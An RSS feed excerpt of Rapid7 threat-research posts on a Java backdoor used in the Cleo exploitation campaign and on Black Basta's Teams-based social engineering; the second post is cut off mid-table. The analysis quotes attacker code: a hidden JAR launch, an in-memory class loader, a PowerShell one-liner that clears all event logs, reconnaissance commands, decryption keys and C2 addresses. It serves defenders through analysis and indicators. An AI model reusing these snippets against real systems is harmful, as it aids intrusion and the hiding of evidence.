variables:</p><pre>$t.Close()<br/>$w.Close()<br/>$s.Close()<br/><br/>$env:QUERY="...185.181.230.103;135.237.120.41;"<br/>$env:F=$f<br/></pre><p>The $env:QUERY variable appears to include additional IP addresses and contains the AES key used to decrypt the next stage and the string to send to the C2 server to receive the next payload. Finally, the script runs the malicious JAR file:</p><p>Start-Process -WindowStyle Hidden -FilePath jre\bin\java.exe -ArgumentList "-jar $f"</p><p>This leverages the Cleo environment’s embedded Java runtime. Since Cleo’s file transfer products come bundled with their own Java environment, the attackers don’t need to rely on a system-wide installation — they can simply run their malicious JAR directly. In one of our IR cases, the “cleo.xxxx” file was written to the C:\VLTrader\ directory.</p><p><strong>Inside the JAR file</strong><br/>The core functionality revolves around a custom class loader named "start".</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt58e2bc860b195551/683de66265b8ea56bccc8e83/cleo-2-inside-the-jar-file.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="cleo-2-inside-the-jar-file.png" asset-alt="cleo-2-inside-the-jar-file.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt58e2bc860b195551/683de66265b8ea56bccc8e83/cleo-2-inside-the-jar-file.png" data-sys-asset-uid="blt58e2bc860b195551" data-sys-asset-filename="cleo-2-inside-the-jar-file.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="cleo-2-inside-the-jar-file.png" sys-style-type="display"/></figure><p>Instead of loading classes from the file system, this loader accepts a byte array representing a compressed archive of class files. It then extracts each entry and stores them in a map, ready to be defined as Java classes on demand.</p><p><strong>What does this custom class loader do?</strong></p><p><strong>1.	Extracts classes from a byte array:</strong> The constructor of the start class takes a byte array (like a JAR) and reads the class using a ZipInputStream. Each entry is unpacked and stored in a map keyed by the entry name. For example:</p><pre>ZipInputStream zis = new ZipInputStream(new ByteArrayInputStream(byteArray));<br/>ZipEntry entry;<br/>while ((entry = zis.getNextEntry()) != null) {<br/>    ByteArrayOutputStream bos = new ByteArrayOutputStream();<br/>    int read;<br/>    while ((read = zis.read(buffer)) &gt; 0) {<br/>        bos.write(buffer, 0, read);<br/>    }<br/>    cs.put(entry.getName(), bos.toByteArray());<br/>}<br/>Defining Classes at Runtime: Later, when a class is requested, the findClass method checks the map. If found, it uses defineClass to load that class directly from the in-memory bytes:<br/>if (cs.containsKey(className)) {<br/>    byte[] classData = (byte[]) cs.get(className);<br/>    return defineClass(className, classData, 0, classData.length);<br/></pre><p><strong>2.</strong>	<strong>Fetches and decrypts class data remotely. </strong>The main method doesn’t just run local code — it also does the following: </p><ul><li>Reads configuration and keys from environment variables.</li><li>Connects to a remote host over port 443 and sends a "TLS v3" handshake-like message.</li><li>Receives encrypted data, which it then decrypts using AES keys derived from the environment-provided values.</li><li>Once decrypted, this data is treated like a JAR file, passed into a new start instance, and thus new classes are loaded at runtime.</li></ul><p><strong>3.	Executes a specific class (Cli):</strong> With the new classes loaded, the code uses reflection to instantiate a particular class named "Cli" and invoke its constructor.</p><p>This mechanism allows the JAR to remain small and stealthy, as it doesn't contain all its logic up front. Instead, it fetches critical code at runtime, decrypts it, and executes it dynamically. But it didn't stop here — after executing this first JAR file, which acts as a loader, it downloads a zip file that contains multiple JAR files:</p><table cols="2" colWidths="250,250"><thead><tr><th>File name</th><th>MD5</th></tr></thead><tbody><tr><td>Cli</td><td>fa0ffca3597af31fc196ca27283aa038</td></tr><tr><td>Dwn</td><td>510a7fa9d425f1c3a38ad81d813b3f17</td></tr><tr><td>DwnLevel</td><td>7dcaffc9c26fe9e08e9b66e05c644cfc</td></tr><tr><td>Mos</td><td>ee7acd7a8a5795308942f094c950de6f</td></tr><tr><td>Proc</td><td>37a761f4d02577cf6789676f87cb9fc6</td></tr><tr><td>ScSlot</td><td>6ff85e7bec211869073b969dbd10c8eb</td></tr><tr><td>SFile</td><td>ca3de6f055f94acc87c6d335d9cc5c04</td></tr><tr><td>Slot</td><td>d924ffd1f2952a03da29c0a7a33e6a54</td></tr><tr><td>SrvSlot</td><td>bcc1bf75e0be3efabbd616cc8cfa8c35</td></tr></tbody></table><p>Overall this is how the modules work together and what their function is:</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte13747c5b4c5d712/683de6802a76861a02bc862f/JAva_RAT_FLow_v1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="JAva_RAT_FLow_v1.png" asset-alt="JAva_RAT_FLow_v1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte13747c5b4c5d712/683de6802a76861a02bc862f/JAva_RAT_FLow_v1.png" data-sys-asset-uid="blte13747c5b4c5d712" data-sys-asset-filename="JAva_RAT_FLow_v1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="JAva_RAT_FLow_v1.png" sys-style-type="display"/></figure><p>The <strong>Cli</strong> class appears to be a key component of a remote backdoor mechanism. On startup, it determines the operating system and sets flags accordingly before attempting to connect to a remote host over port 443 using Java’s non-blocking I/O. Once connected, it can manage data streams via asynchronous event loops, handle received data, and potentially issue commands. After initialization, the code instructs the system to delete its own initial file to remove evidence of its presence.</p><p>In Rapid7 MDR investigations into exploitation of Cleo software, we observed commands being executed that we would categorize as reconnaissance attempts.</p><p>The <strong>DWN </strong>class appears to facilitate the packaging and transmission of files from the local system to a remote server. It assembles files (and directories) into a ZIP archive on the fly, splitting them into multiple ZIP chunks if they exceed a certain size threshold. Using a SrvSlot reference, it sends compressed file data over a network channel, carefully managing buffers and limiting throughput to avoid overwhelming the connection. The code iterates through directories, queues files, and processes them incrementally, updating statistics and retrying if conditions are not ideal. Through this mechanism, this class effectively automates and streamlines the mass transfer of local files, hinting at a data exfiltration or remote backup process. It’s designed to run quietly in the background, handle large file sets, and provide periodic progress updates to its server counterpart.</p><p>The <strong>DwnLevel</strong> class is a simple helper structure that represents a single level in a file traversal hierarchy. It holds an array of file objects, along with an index and a state variable to track the current processing position. As the <strong>Dwn</strong> class iterates through directories, the DwnLevel Java class instance keeps track of which files have been processed and which remain, helping the file packaging and transfer process proceed smoothly through potentially nested directories.</p><p>The<strong> Mos</strong> class acts as a custom output stream for sending ZIP data through <strong>Dwn</strong>. Instead of writing to disk, it buffers data in memory, attaches metadata like the job ID and packet offsets, and then hands the chunks off to <strong>Dwn</strong> to send out. This setup allows code that writes ZIP entries to operate as if it were writing to a normal output stream, while the <strong>Mos</strong> and <strong>Dwn</strong> classes handle the network transmission details behind the scenes.</p><p><strong>Proc</strong> is a thread that runs external commands on the system, captures their output, and sends it back through <strong>SrvSlot</strong>. It can launch interactive shells, parse configuration files, and handle input given before the process starts.</p><p>In the code of this class, we also can discover that it is cross platform designed, either executing a cmd (Windows) or bash (*nix) shell:</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3bfc883ec0d60c00/683de6a3543b8d4d23bf1398/cleo-4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="cleo-4.png" asset-alt="cleo-4.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3bfc883ec0d60c00/683de6a3543b8d4d23bf1398/cleo-4.png" data-sys-asset-uid="blt3bfc883ec0d60c00" data-sys-asset-filename="cleo-4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="cleo-4.png" sys-style-type="display"/></figure><p><strong>ScSlot</strong> manages a network connection for a specific channel. It handles connecting, reading data, and relaying it to the <strong>SrvSlot </strong>class. If the connection fails or no data is received, it signals the server to close the channel. Its tick method processes incoming data in chunks to ensure smooth communication.</p><p>The <strong>SFile</strong> class handles file reading and writing operations. It can both read from an existing file or write to a new file, depending on the flags provided. The class tracks the file size, saved size and handles errors by setting status messages.</p><p>The <strong>Slot</strong> class manages the network connection using the Java network IO class. It handles connecting, reading, and writing, ensuring a smooth data transfer.</p><p>Last but not least, since it is a core component of this Java RAT, is the <strong>SrvSlot</strong> class. It interacts with other classes as described before and is the central node for handling encrypted communications and data transfer — it handles the ZIP transfer traffic. Besides traffic handling, a small component in the code of this class appears to be for debugging purposes (i.e., providing diagnostics and session statistics).</p><p>Overall this set of Java classes provide a modular multi-stage system (Java-RAT) designed to communicate with a C2, has file-transfer and management functionality, can execute commands and applies packet level encryption/decryption.</p><h3>Indicators of compromise</h3><p><strong>Network IOCs:</strong><br/> 89.248.172[.]139<br/> 176.123.10[.]115<br/> 185.162.128[.]133<br/> 185.163.204[.]137<br/> 185.181.230[.]103<br/> 45.182.189[.]102 - Cobalt Strike server<br/> 45.182.189[.]102/dpixel (payload location)</p><p><strong>Post-exploitation behavior</strong></p><p>In multiple attack chains, after initial exploitation, the adversary executed the following enumeration commands via cmd to gather user, group and system information from the impacted system and display domain trust relationships.</p><p>systeminfo</p><p>net group /domain</p><p>whoami</p><p>wmic logicaldisk get name,size</p><p>nltest  /domain_trusts</p><p>In addition, across multiple incidents, Rapid7 identified the usage of the Java-based RAT (e.g., cleo.1234) to spawn a PowerShell instance with the command line powershell.exe -NonInteractive -Command -. The PowerShell instance was then used to run a script that functions as a shellcode loader. After AES decryption and execution, the shellcode embedded within the script reaches out to the Cobalt Strike server 45.182.189[.]102 over HTTP. The shellcode within the PowerShell script acts as a stager, and ultimately downloads, decrypts, loads, and executes a 64-bit Cobalt Strike beacon DLL from the server. From one decrypted Cobalt Strike beacon, acquired from  45.182.189[.]102, Rapid7 extracted the license ID 1580103824.</p><p>During analysis of the PowerShell script, Rapid7 recovered a function that is capable of clearing the Windows event logs if the executing process is a member of the Administrators group. Despite the script executing under the SYSTEM user however, Rapid7 did not observe usage of the function, which allowed for the recovery and analysis of the script.</p><pre>$mkpfaejh85 = [bool](([Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544");if ($mkpfaejh85) { start-Process 'powershell' '-c "&{Get-EventLog -LogName *|ForEach{Clear-EventLog $_.Log}}"' -nonewwindow; };<br/></pre><p>Rapid7 also observed post-exploitation activity in the form of an "OverPass-The-Hash" attack, in which the adversary leverages the NTLM hash of an account to obtain a Kerberos ticket that can be used to access additional network resources within the impacted environment.</p><p><strong>MITRE ATT&CK Enterprise Techniques</strong></p><table cols="2" colWidths="250,250"><thead><tr><th></th><th></th></tr></thead><tbody><tr><td><strong>Initial access</strong></td><td>Exploit Public-Facing Application (T1190)</td></tr><tr><td><strong>Execution</strong></td><td>Command and Scripting Interpreter (T1059)</td></tr><tr><td><strong>Discovery</strong></td><td>System Owner/User Discovery (T1033)</td></tr><tr><td></td><td>System Information Discovery (T1082)</td></tr><tr><td></td><td>Domain Trust Discovery (T1482)</td></tr><tr><td></td><td>Permission Groups Discovery (T1069)</td></tr><tr><td><strong>Lateral movement</strong></td><td>Use Alternate Authentication Material: Pass the Hash (T1550/002)</td></tr></tbody></table><div><h4>NEVER MISS AN EMERGING THREAT</h4><p>Be the first to learn about the latest vulnerabilities and cybersecurity news.</p><a href="#">Subscribe Now</a></div>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/12/11/etr-modular-java-backdoor-dropped-in-cleo-exploitation-campaign</link>
      <guid isPermaLink="false">blt4f4412ca1a1d0559</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Detection and Response]]></category><dc:creator><![CDATA[Christiaan Beek]]></dc:creator>
      <pubDate>Wed, 11 Dec 2024 18:44:06 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1b3d17386806facf/683de6433323a50d6580aad1/Cleo_FLow_Attack_v1.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware]]></title>
      <description><![CDATA[<h2>Executive Summary</h2><p>Beginning in early October, Rapid7 has observed a resurgence of activity related to the ongoing social engineering campaign being conducted by Black Basta ransomware operators. Rapid7 <a href="/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/">initially reported the discovery</a> of the novel social engineering campaign back in May, 2024, <a href="/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/">followed by an update in August</a> 2024, when the operators updated their tactics and malware payloads and began sending lures via Microsoft Teams. Now, the procedures followed by the threat actors in the early stages of the social engineering attacks have been refined again, with new malware payloads, improved delivery, and increased defense evasion.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt527cc0fc0829e089/683de34f237ea6e36c91c341/Screenshot-2024-12-02-at-4.23.21-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-02-at-4.23.21-PM.png" asset-alt="Screenshot-2024-12-02-at-4.23.21-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt527cc0fc0829e089/683de34f237ea6e36c91c341/Screenshot-2024-12-02-at-4.23.21-PM.png" data-sys-asset-uid="blt527cc0fc0829e089" data-sys-asset-filename="Screenshot-2024-12-02-at-4.23.21-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-02-at-4.23.21-PM.png" sys-style-type="display"/></figure><h2>Overview</h2><p>The social engineering attacks are still initiated in a similar manner. Users within the target environment will be email bombed by the threat actor, which is often achieved by signing up the user’s email to numerous mailing lists simultaneously. After the email bomb, the threat actor will reach out to the impacted users. Rapid7 has observed the initial contact still occurs primarily through usage of Microsoft Teams, by which the threat actor, as an external user, will attempt to call or message the impacted user to offer assistance. The account domains in use include both Azure/Entra tenant subdomains (e.g., username[@]tenantsubdomain[.]onmicrosoft[.]com) and custom domains (e.g., username[@]cofincafe[.]com).</p><p>In many cases, Rapid7 has observed that the threat actor will pretend to be a member of the target organization’s help desk, support team, or otherwise present themself as IT staff. Below are examples of Microsoft Teams display names observed, by Rapid7, to be in use by operators. The display names may or may not be padded with whitespace characters. Rapid7 has also observed threat actors use a first and last name, as the chat display name and/or account username, to impersonate an IT staff member within the targeted organization.</p><table cols="1" colWidths="250"><thead><tr><th>Operator Chat Display Name</th></tr></thead><tbody><tr><td>Help Desk</td></tr><tr><td>HELP DESK</td></tr><tr><td>Help Desk Manager</td></tr><tr><td>Technical Support</td></tr><tr><td>Administracion</td></tr></tbody></table><p>If the user interacts with the lure, either by answering the call or messaging back, the threat actor will attempt to get the user to install or execute a remote management (RMM) tool, including, but not limited to, QuickAssist, AnyDesk, TeamViewer, Level, or ScreenConnect. Rapid7 has also observed attempts to leverage the OpenSSH client, a native Windows utility, to establish a reverse shell. In at least one instance, the threat actor shared a QR code with the targeted user. The purpose of the QR code is unconfirmed but appears to be an attempt to bypass MFA after stealing a user’s credentials. The URL embedded within the QR code adheres to the following format: hxxps://&lt;company_name&gt;[.]qr-&lt;letter&gt;&lt;number&gt;[.]com.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt13b8743b120bebd5/683de3733beff0118aa7c535/Screenshot-2024-12-02-at-4.24.17-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-02-at-4.24.17-PM.png" asset-alt="Screenshot-2024-12-02-at-4.24.17-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt13b8743b120bebd5/683de3733beff0118aa7c535/Screenshot-2024-12-02-at-4.24.17-PM.png" data-sys-asset-uid="blt13b8743b120bebd5" data-sys-asset-filename="Screenshot-2024-12-02-at-4.24.17-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-02-at-4.24.17-PM.png" sys-style-type="display"/></figure><p>In a majority of cases, Rapid7 has observed that the operator, after gaining access to the user’s asset via RMM tool, will then attempt to download and execute additional malware payloads. In one case handled by Rapid7, the operator requested more time — potentially to hand off the access to another member of the group.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte1497f63ef19b1dc/683de39fcc60421a02206878/Screenshot-2024-12-02-at-4.24.55-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-02-at-4.24.55-PM.png" asset-alt="Screenshot-2024-12-02-at-4.24.55-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte1497f63ef19b1dc/683de39fcc60421a02206878/Screenshot-2024-12-02-at-4.24.55-PM.png" data-sys-asset-uid="blte1497f63ef19b1dc" data-sys-asset-filename="Screenshot-2024-12-02-at-4.24.55-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-02-at-4.24.55-PM.png" sys-style-type="display"/></figure><p>The payload delivery methods vary per case, but have included external compromised SharePoint instances, common file sharing websites, servers rented through hosting providers, or even direct upload to the compromised asset in the case of RMM tool remote control. In one case, the operator used the group’s custom credential harvester to dump the user’s credentials, the results for which were subsequently uploaded to a file sharing site — publicly exposing the stolen credentials. SharePoint has been used to distribute copies of AnyDesk portable, likely to circumvent security measures that would prevent the user from downloading it directly from anydesk[.]com.  Such attempts have been blocked by web proxy in previous cases.</p><p>The overall goal following initial access appears to be the same: to quickly enumerate the environment and dump the user’s credentials. When possible, operators will also still attempt to steal any available VPN configuration files. With the user’s credentials, organization VPN information, and potential MFA bypass, it may be possible for them to authenticate directly to the target environment.</p><p>Rapid7 has observed usage of the same credential harvesting executable, previously reported as AntiSpam.exe, though it is now delivered in the form of a DLL and most commonly executed via rundll32.exe. Whereas before it was an unobfuscated .NET executable, the program is now commonly contained within a compiled 64-bit DLL loader. Rapid7 has analyzed at least one sample that has also been obfuscated using the group’s custom packer. The newest versions of the credential harvester now save output to the file 123.txt in the user’s %TEMP% directory, an update from the previous qwertyuio.txt file, though versions of the DLL distributed earlier in the campaign would still output to the previous file.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb5acea8db4dccda5/683de3c92a7686f849bc855d/Screenshot-2024-12-04-at-10.20.29-AM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-04-at-10.20.29-AM.png" asset-alt="Screenshot-2024-12-04-at-10.20.29-AM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb5acea8db4dccda5/683de3c92a7686f849bc855d/Screenshot-2024-12-04-at-10.20.29-AM.png" data-sys-asset-uid="bltb5acea8db4dccda5" data-sys-asset-filename="Screenshot-2024-12-04-at-10.20.29-AM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-04-at-10.20.29-AM.png" sys-style-type="display"/></figure><p>The credential harvester is most commonly followed by the execution of a loader such as Zbot (a.k.a. Zloader) or DarkGate. This can then serve as a gateway to the execution of subsequent payloads in memory, facilitate data theft, or otherwise perform malicious actions. Rapid7 has also observed operators distributing alternate payload archives containing Cobalt Strike beacon loaders and a pair of Java payloads containing a user credential harvester variant and a custom multi-threaded beacon by which to remotely execute PowerShell commands. In some cases, operators have sent the user a short command, via Teams, which will then begin an infection chain after execution by the targeted user.</p><p>Rapid7 continues to observe inconsistent usage of the group’s custom packer to deliver various malware payloads, including their custom credential harvester. <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Yara/blacklava.yar">A YARA rule is now publicly available</a> that can be used to detect the packer. For example, this packer was used to deliver several obfuscated versions of Black Basta ransomware, obtained via <a href="/fundamentals/what-is-open-source-intelligence-osint/">open source intelligence</a>, which directly links operators to the ongoing social engineering campaign.</p><p>At the time of writing, the threat actors behind the campaign continue to update both their strategy for gaining initial access and the tools subsequently used. For example, around the time the most recent campaign activity began, Rapid7 observed the delivery of a timestamped and versioned payload archive, 171024_V1US.zip (2024-10-17, version 1, US), which, when compared to a more recently delivered archive, 171124_V15.zip (2024-11-17, version 15), highlights the rapid iteration being undertaken. Many of the payloads being delivered follow a similar pattern as previous activity and often consist of a legitimate file where an export or function entry point has been overwritten to jump to malicious code, and the result is signed with a likely stolen code signing certificate.</p><p>Intrusions related to the campaign should be taken seriously — the intent goes beyond typical phishing activity. Past campaign activity has led to the deployment of Black Basta ransomware. While Rapid7 has handled a high volume of incidents related to the current social engineering campaign across a variety of customer environments, to date, every case has been contained before the operator was able to move laterally beyond the targeted user’s asset.</p><h2>Technical Analysis</h2><h3>Initial Access</h3><p>Each attack is preceded by the targeted user receiving an often overwhelming amount of emails. An operator will then attempt to contact the user via Microsoft Teams, either via messaging or calling, by which they will pretend to offer assistance. Operators will attempt to impersonate the organization’s help desk, such as using the names of existing staff members.</p><p>During this social engineering stage, operators often need to troubleshoot with the user to establish remote control of the user’s asset. Based on the environment, for example, RMM tool downloads or execution may be blocked (often some, but not all) or QuickAssist may be disabled, causing the operator to cycle through their options at establishing a foothold. One of the most common first steps after gaining either the confidence of the user, or remote access, is to execute a custom credential harvester.</p><h3>Credential Harvesting</h3><p>The credential harvester used by operators, for example SafeStore.dll (SHA256: 3B7E06F1CCAA207DC331AFD6F91E284FEC4B826C3C427DFFD0432FDC48D55176), is an updated version of the <a href="/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/">previously analyzed</a> program AntiSpam.exe. The DLL variant of the credential harvester is executed by a command like the following example:</p><p>rundll32.exe  SafeStore.dll,epaas_request_clone</p><p>The module will quickly execute three enumeration commands to gather system information — systeminfo, route print, ipconfig /all — and then prompt the user for their password. The user’s credentials are appended onto a new line of the text file 123.txt with each attempt, after the enumeration command output, regardless of whether the credentials are correct. If the user enters the wrong password, they will be prompted to try again. The output for the enumeration commands and the user’s credentials were saved to the file qwertyuio.txt in older versions of the harvester, but are now saved to 123.txt, within the user’s %TEMP% directory. The enumeration commands within the updated version are executed via successive calls to CreateProcessA.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfcb2f291128cb6db/683de3f0c26e071d4928e8a5/Screenshot-2024-12-04-at-10.34.17-AM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-04-at-10.34.17-AM.png" asset-alt="Screenshot-2024-12-04-at-10.34.17-AM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfcb2f291128cb6db/683de3f0c26e071d4928e8a5/Screenshot-2024-12-04-at-10.34.17-AM.png" data-sys-asset-uid="bltfcb2f291128cb6db" data-sys-asset-filename="Screenshot-2024-12-04-at-10.34.17-AM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-04-at-10.34.17-AM.png" sys-style-type="display"/></figure><p>Based on analysis of one credential harvester sample, EventCloud.dll, the program was present in shellcode form. The shellcode is decrypted from the Cursor Group 880 resource embedded within the executable, using the XOR key 5A 3C 77 6E 33 30 4D 38 4F 38 40 78 41 58 51 30 42 5F 3F 67 71 00, and then injected locally. The following strings which were extracted from the shellcode show the output file and list dynamically loaded libraries:</p><table cols="5" colWidths="250,250,250,250,250"><thead><tr><th>Credential Harvester Strings</th><th>-</th><th>-</th><th>-</th><th>-</th></tr></thead><tbody><tr><td>cmd.exe /c</td><td>%s%s</td><td>%s%s%s%s</td><td>123.txt</td><td>ooki</td></tr><tr><td>Update</td><td>filter kb_outl</td><td>Need credentials to update...</td><td>Username:</td><td>Password:</td></tr><tr><td>ntdll.dll</td><td>Gdi32.dll</td><td>user32.dll</td><td>msvcrt.dll</td><td>ucrtbase.dll</td></tr><tr><td>Comctl32.dll</td><td>Advapi32.dll</td><td>kernel32.dll</td><td>-</td><td>-</td></tr></tbody></table><p>The Java variant of the credential harvester, identity.jar, provides a similar prompt to the user, though when a password is entered it is appended, without the username, to a .txt file with a random 10-letter alphabetic name to the current working directory. The cancel button on the prompt, shown below, is not functional and the prompt is drawn on top of other windows, meaning that it will not close until the user has entered their password correctly.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf3f84b5722f21ab8/683de4113d7b5eabcd136743/Screenshot-2024-12-04-at-10.35.02-AM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-04-at-10.35.02-AM.png" asset-alt="Screenshot-2024-12-04-at-10.35.02-AM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf3f84b5722f21ab8/683de4113d7b5eabcd136743/Screenshot-2024-12-04-at-10.35.02-AM.png" data-sys-asset-uid="bltf3f84b5722f21ab8" data-sys-asset-filename="Screenshot-2024-12-04-at-10.35.02-AM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-04-at-10.35.02-AM.png" sys-style-type="display"/></figure><h3>Malware Payloads</h3><p>Following execution of a credential harvester, an operator will typically infect the asset with Zbot or DarkGate. One of the Zbot samples delivered after initial access, SyncSuite.exe (SHA256: DB34E255AA4D9F4E54461571469B9DD53E49FEED3D238B6CFB49082DE0AFB1E4) contains similar functionality and strings to other Zbot/Zloader samples <a href="https://www.zscaler.com/blogs/security-research/zloader-no-longer-silent-night">previously reported by ZScaler</a>. However, in addition to previously observed strings, the sample also contains encrypted strings for an embedded command help menu, error messages, and more. Rapid7 observed the embedded malware version was 2.9.4.0.</p><p>Upon execution, the malware will copy itself to a random folder within the %APPDATA% directory. If the file does not have its original filename however, the process will immediately exit. The malware also contains the functionality to establish persistence either via a Run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run or a scheduled task named after the executable, which executes the malware copy in %APPDATA% whenever the user logs on. After collecting the hostname, username, and the installation date from the InstallDate value contained within the registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion, this data is concatenated (delimited by underscore characters) and encrypted, along with other config information. It is then stored within the user’s registry inside a random key created at HKCU\Software\Microsoft\. The analyzed sample will also load a fresh copy of ntdll.dll to avoid hooking, which is then used to perform calls to NTAPI functions. SyncSuite.exe ultimately injects itself into a suspended instance of msedge.exe, created using NtCreateUserProcess and executed via ResumeThread, a technique known as <a href="https://attack.mitre.org/techniques/T1055/012/">Process Hollowing</a>.</p><p>All of the strings used by the malware are stored encrypted within the .rdata section along with the configuration. The strings are decrypted using an obfuscated loop that is ultimately a simple XOR operation with the hard coded key 16 EB D5 3E AA E6 51 09 14 D3 DF 18 AD D6 1B BD BE, which is also stored in the .rdata section. The configuration is decrypted using an RC4 key, F3 F9 F7 FB FA F3 F7 F7 FF F5 F2 F3 FA FD FE F2 for this sample. The decrypted configuration for SyncSuite.exe can be seen below, with empty rows removed. The configuration contains a different public RSA key and botnet ID than the one previously shared by ThreatLabz, indicating that the campaign is being run by a different affiliate. All decrypted strings from SyncSuite.exe can be seen in the Zbot Strings section following other Indicators of Compromise.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta419f27db84db863/683de43518a553d3cd687166/Screenshot-2024-12-04-at-10.36.01-AM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-04-at-10.36.01-AM.png" asset-alt="Screenshot-2024-12-04-at-10.36.01-AM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta419f27db84db863/683de43518a553d3cd687166/Screenshot-2024-12-04-at-10.36.01-AM.png" data-sys-asset-uid="blta419f27db84db863" data-sys-asset-filename="Screenshot-2024-12-04-at-10.36.01-AM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-04-at-10.36.01-AM.png" sys-style-type="display"/></figure><p>Rapid7 has also observed the delivery of DarkGate malware following initial access. One payload archive contained both a DarkGate infection initiation script, test.vbs, and an executable copy of the DarkGate malware itself, SafeFilter.exe (SHA256: EF28A572CDA7319047FBC918D60F71C124A038CD18A02000C7AB413677C5C161 ), though this copy is packed using the group’s custom packer. The final payload containing the DarkGate malware, after several layers of decrypting and loading, contains the version string 7.0.6. If the folder c:\debugg exists on the system when the malware is executed it will display the version number via MessageBoxA. The configuration for this sample can be seen below along with hard coded commands. Notably, the campaign ID for the sample appears to be drk2.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt200a3e360f5ec0ef/683de4618ac17c4a2829af27/Screenshot-2024-12-04-at-10.36.40-AM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-12-04-at-10.36.40-AM.png" asset-alt="Screenshot-2024-12-04-at-10.36.40-AM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt200a3e360f5ec0ef/683de4618ac17c4a2829af27/Screenshot-2024-12-04-at-10.36.40-AM.png" data-sys-asset-uid="blt200a3e360f5ec0ef" data-sys-asset-filename="Screenshot-2024-12-04-at-10.36.40-AM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-12-04-at-10.36.40-AM.png" sys-style-type="display"/></figure><p>The configuration is decrypted with the key ckcilIcconnh within a customized XOR loop near the beginning of execution to reveal CRLF delimited options. However, due to the implementation of the decryption loop, the keyspace is effectively reduced to that of a single byte (0-255), after the first byte. This makes the XOR key for the majority of the config 0x60, for this sample allowing for the encrypted data to be trivially bruteforced.</p><table cols="2" colWidths="250,250"><thead><tr><th>Key-Value Pair (SafeFilter.exe DarkGate Config)</th><th>Description</th></tr></thead><tbody><tr><td>0=179.60.149[.]194|</td><td>C2 domains or IP addresses, delimited with ‘|’ characters</td></tr><tr><td>8=No</td><td>If enabled and the file C:\ProgramData\hedfdfd\Autoit3.exe does not exist, call MessageBoxTimeoutA using keys 11 and 12 and a timeout of 1770ms.</td></tr><tr><td>11=Error</td><td>Used by key 8 as a message box title.</td></tr><tr><td>12=PyKtS5Q</td><td>The string Error, base64 encoded with the custom alphabet 